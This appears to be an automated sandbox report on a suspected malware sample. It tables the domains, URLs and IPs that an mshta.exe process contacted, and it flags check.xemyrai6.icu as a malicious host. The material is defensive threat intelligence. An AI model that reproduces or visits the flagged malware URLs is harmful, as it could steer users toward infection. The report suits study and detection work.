https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7_menu.css?sqz1q7	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
kit.fontawesome.com.cdn.cloudflare.net	172.64.147.188	true	false	high
mc.yandex.ru	87.250.251.119	true	false	high
i.ytimg.com	142.250.186.54	true	false	high
check.xemyrai6.icu	188.114.96.3	true	true	unknown
teubes.com	196.40.97.147	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
use.fontawesome.com.cdn.cloudflare.net	172.67.142.245	true	false	high
static.doubleclick.net	142.250.185.70	true	false	high
www.teubes.com	196.40.97.147	true	false	unknown
youtube-ui.l.google.com	142.250.185.78	true	false	high
googleads.g.doubleclick.net	142.250.186.66	true	false	high
play.google.com	142.250.185.206	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	high
a37dd8b3f3000a75e.awsglobalaccelerator.com	3.33.155.121	true	false	unknown
photos-ugc.l.googleusercontent.com	142.250.185.193	true	false	high
oamp.od.nih.gov	137.187.172.126	true	false	unknown
www.google.com	142.250.185.68	true	false	high
s.w.org	192.0.77.48	true	false	high
yt3.ggpht.com	unknown	unknown	false	high
data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high
mc.yandex.com	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high
_8545._https.data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/transition.min.js?ver=6.2.0	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/js/dist/js_composer_front.min.js?ver=6.2.0	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/themes/oamp_theme/css/style.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0	true	Avira URL Cloud: malware	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/nowrap.module.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min.css?ver=6.2.0	false	Avira URL Cloud: safe	unknown
https://mc.yandex.com/clmap/99162160?page-url=https%3A%2F%2Fwww.teubes.com%2F&pointer-click=rn%3A13929908%3Ax%3A11702%3Ay%3A18724%3At%3A125%3Ap%3A%3FAAA2%3AX%3A507%3AY%3A441&browser-info=u%3A1742212953540488512%3Av%3A1630%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1742212966&t=gdpr(14)ti(1)	false		high
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png	false		high
https://mc.yandex.com/watch/99162160?wmode=7&page-url=https%3A%2F%2Fwww.teubes.com%2F&charset=utf-8&uah=chu%0A%22Chromium%22%3Bv%3D%22134%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224%22%2C%22Google%20Chrome%22%3Bv%3D%22134%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A134.0.6998.36%0Achl%0A%22Chromium%22%3Bv%3D%22134.0.6998.36%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224.0.0.0%22%2C%22Google%20Chrome%22%3Bv%3D%22134.0.6998.36%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1630%3Acn%3A1%3Adp%3A0%3Als%3A1535836669915%3Ahid%3A344252978%3Az%3A-240%3Ai%3A20250317080233%3Aet%3A1742212953%3Ac%3A1%3Arn%3A427197675%3Arqn%3A1%3Au%3A1742212953540488512%3Aw%3A1280x897%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5856%3Awv%3A2%3Ads%3A401%2C1014%2C705%2C229%2C53%2C0%2C%2C7399%2C1%2C%2C%2C%2C9816%3Aco%3A0%3Acpf%3A1%3Ans%3A1742212942588%3Arqnl%3A1%3Ast%3A1742212955%3At%3ATeubes%20%E2%80%93%20Oils%20Out%20of%20Africa&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1)cdl(na)eco(42009088)ti(1)	false		high
https://use.fontawesome.com/releases/v5.0.0/webfonts/fa-brands-400.woff2	false		high
https://www.teubes.com/wp-content/themes/rubbersoul/js/navigation.js?ver=20140711	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.3	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7C:	mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/uploads/2020/07/Citrus-Oils-Teubes-Oils-South-Africa-300x67.jpg	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner-1024x228.jpg	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/...t	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7m	mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7i	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7W	mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7sqz1q7	mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/hidden.module.css?sqz1q7m	mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/...c	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/misc/components/ajax-progress.module.css?sqz1q7(	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7SY_2	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7D	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wpbakery.com)	chromecache_193.1.dr, chromecache_152.1.dr, chromecache_163.1.dr, chromecache_168.1.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner-300x67.jpg	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/uploads/2019/09/cropped-Neroli-180x180.png	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7w	mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7z	mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7fq	mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7KYw2	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q7G	mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7g	mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/container-inline.module.css?sqz1q73jQ2	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/generate_204?cpn=	chromecache_131.1.dr	false		high
https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q7C:	mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/rss.xml	9ETUUQ2H.htm.12.dr	false	Avira URL Cloud: safe	unknown
http://instagram.com/	chromecache_186.1.dr	false		high
https://maxcdn.bootstrapcdn.com/	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oalmsps.od.nih.gov/OAMP/DSAPS/ASRB/SAPhD/SitePages/Home.aspx	9ETUUQ2H.htm.12.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/uploads/2019/09/cropped-Neroli-192x192.png	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgS	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7wY	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://check.xemyrai6.icu/	mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7e.css?sqz1q7	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gmpg.org/xfn/11	chromecache_186.1.dr	false		high
https://maxcdn.b	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7dP23	mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kit.fontawesome.com/5fc2b821f2.jsHE	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hhs.gov/	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	false		high
https://oamp.od.nih.gov/nih-document-generation-system/dgs-workform-information/attachment-files-sec	mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg2	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nih.gov/	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	false		high
https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7.gC:	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://core.trac.wordpress.org/ticket/25888.	chromecache_180.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7C:	mshta.exe, 0000000C.00000002.1759638434.00000000033E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/js/dist/js_composer_front.min.js?ve	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q70	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg1q7Y	mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wordpress.org	chromecache_186.1.dr	false		high
https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7z1q7	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://angular.dev/license	chromecache_131.1.dr	false		high
https://www.teubes.com/wp-content/themes/rubbersoul/js/html5.js	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
http://www.nih.gov/about/access.htm	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	false		high
https://youtu.be/	chromecache_131.1.dr	false		high
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7ule.css?sqz1q7z1q7	mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/ss	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0EVEL=6PROCESSOR_REVISI	mshta.exe, 0000000C.00000002.1759638434.0000000003360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgu	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hhs.gov/vulnerability-disclosudex.(X	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgi	mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7C:	mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css#	mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-content/themes/rubbersoul/css/font-awesome-4.7.0/css/font-awesome.min.css?	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7?	mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352887728.0000000006AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765511740.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7A	mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pinterest.com	chromecache_186.1.dr	false		high
https://yastatic.net/s3/gdpr/v3/gdpr	chromecache_182.1.dr	false		high
https://getbootstrap.com/)	bootstrap.min[1].css.12.dr	false		high
https://www.teubes.com/indigenous-exotic-oils-extracts/	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://www.hhs.gov/vulnerability-disclosure-policy/index.html	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	false		high
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q76	mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7-	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/themes/oamp_theme/css/style.css?sqz1q7C:	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css	mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7/gd3	mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://youtube.com/drm/2012/10/10	chromecache_131.1.dr	false		high
https://kit.fontawesome.com/5fc2b821f2.jsX	mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.teubes.com/wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/transition.min.j	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://www.teubes.com/wp-json/wp/v2/pages/2	chromecache_186.1.dr	false	Avira URL Cloud: safe	unknown
https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7icrosoft	mshta.exe, 0000000C.00000003.1407138751.0000000006B38000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/xd72l	mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7_menu.css?sqz1q7	mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
172.64.147.188	kit.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
196.40.97.147	teubes.com	South Africa	37153	xneeloZA	false
172.67.142.245	use.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
192.0.77.48	s.w.org	United States	2635	AUTOMATTICUS	false
3.33.155.121	a37dd8b3f3000a75e.awsglobalaccelerator.com	United States	8987	AMAZONEXPANSIONGB	false
142.250.184.225	unknown	United States	15169	GOOGLEUS	false
87.250.251.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false
216.58.212.130	unknown	United States	15169	GOOGLEUS	false
142.250.186.54	i.ytimg.com	United States	15169	GOOGLEUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
15.197.152.159	unknown	United States	7430	TANDEMUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
